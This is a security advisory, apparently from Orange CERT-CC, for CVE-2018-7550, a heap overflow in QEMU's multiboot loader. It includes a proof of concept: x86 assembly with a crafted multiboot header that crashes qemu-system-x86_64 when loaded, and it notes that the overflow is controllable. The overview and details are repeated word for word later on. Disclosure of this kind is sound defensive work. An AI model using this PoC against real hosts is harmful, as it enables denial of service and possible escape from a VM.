An attacker could use this issue to cause QEMU to crash, resulting in a denial of service, or possibly execute arbitrary code on the host. In the default installation, when QEMU is used with libvirt, attackers would be isolated by the libvirt AppArmor profile.
On multiboot-v1 kernel images, multiboot header parameters allows to set addresses to load the kernel image. These addresses are used to compute mb_kernel_size and mb_load_size. An allocation of mb_kernel_size bytes will be then done before an fread() of mb_load_size bytes.
There was a previous patch for CVE-2017-14167 that only fix integer overflows but a simpler case without integer overflow is still possible.
The issue can occur by simply setting mh_load_end_addr > mh_bss_end_addr it results in having mb_load_size greater than mb_kernel_size and so writing more than the previously allocated buffer size.
$ cat << EOF > /tmp/boot.s
.set ALIGN, 1<<0 # align loaded modules on page boundaries
.set MEMINFO, 1<<1 # provide memory map
.set FLAGS, 0x10000 | ALIGN | MEMINFO # this is the Multiboot 'flag' field
.set MAGIC, 0x1BADB002 # 'magic number' lets bootloader find the header
.set CHECKSUM, -(MAGIC + FLAGS) # checksum of above, to prove we are multiboot
.section .multiboot
.align 4
.long MAGIC
.long FLAGS
.long CHECKSUM
.long 0x00000020 # MH_HEADER_ADDR
.long 0x00000010 # MH_LOAD_ADDR
.long 0x00000040 # MH_LOAD_END_ADDR
.long 0x00000011 # MH_BSS_END_ADDR
.long _start
# For ESP
.section .bss
.align 16
stack_bottom:
.skip 16384 # 16 KiB
stack_top:
.section .text
.global _start
.type _start, @function
_start:
mov \$stack_top, %esp
#INFINITY LOOP
cli
hlt
.Loop:
jmp .Loop
.size _start, . - _start
EOF
$ as -32 /tmp/boot.s -o /tmp/boot
$ qemu-system-x86_64 --kernel /tmp/boot
Segmentation Fault
Even if at the moment our PoC only result in crashing Qemu at the next call (memset() crash due to the overflow of mb_kernel_size - mb_load_size ), we can control the position and the length of the overflow.
Overview
An attacker could use this issue to cause QEMU to crash, resulting in a denial of service, or possibly execute arbitrary code on the host. In the default installation, when QEMU is used with libvirt, attackers would be isolated by the libvirt AppArmor profile.
Details
On multiboot-v1 kernel images, multiboot header parameters allows to set addresses to load the kernel image. These addresses are used to compute mb_kernel_size and mb_load_size. An allocation of mb_kernel_size bytes will be then done before an fread() of mb_load_size bytes.
There was a previous patch for CVE-2017-14167 that only fix integer overflows but a simpler case without integer overflow is still possible.
The issue can occur by simply setting mh_load_end_addr > mh_bss_end_addr it results in having mb_load_size greater than mb_kernel_size and so writing more than the previously allocated buffer size.
Proof of Concept
Even if at the moment our PoC only result in crashing Qemu at the next call (memset() crash due to the overflow of mb_kernel_size - mb_load_size ), we can control the position and the length of the overflow.
Solution
Security patch
Refer to upstream
References
https://nvd.nist.gov/vuln/detail/CVE-2018-7550
https://bugzilla.redhat.com/show_bug.cgi?id=1549798
Credits
Cyrille CHATRAS for Orange Innovation
Orange CERT-CC at Orange group
Timeline
Date reported: February 28, 2018
Date fixed: May 10, 2018